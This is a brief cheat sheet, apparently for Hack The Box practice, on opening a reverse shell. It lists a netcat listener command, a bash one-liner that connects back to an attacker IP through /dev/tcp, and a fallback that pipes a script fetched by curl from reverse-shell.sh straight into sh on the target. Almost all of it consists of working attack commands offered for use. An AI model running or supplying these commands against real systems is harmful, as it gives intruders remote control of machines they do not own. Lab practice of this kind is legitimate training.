Reverse shell (bash)

  1. Open a local netcat listening to 443 sudo nc -nvlp 443
  2. execute the reverse shell (bash) bash -i >& /dev/tcp/10.10.15.103/443 0>&1
  3. If didn’t work you can try using this : remember that htb doesn’t have access to internet so you have to host it :)
On the target machine, pipe the output of [https://reverse-shell.sh/yourip:port](https://reverse-shell.sh/yourip:port) into sh.

curl https://reverse-shell.sh/192.168.0.69:1337 | sh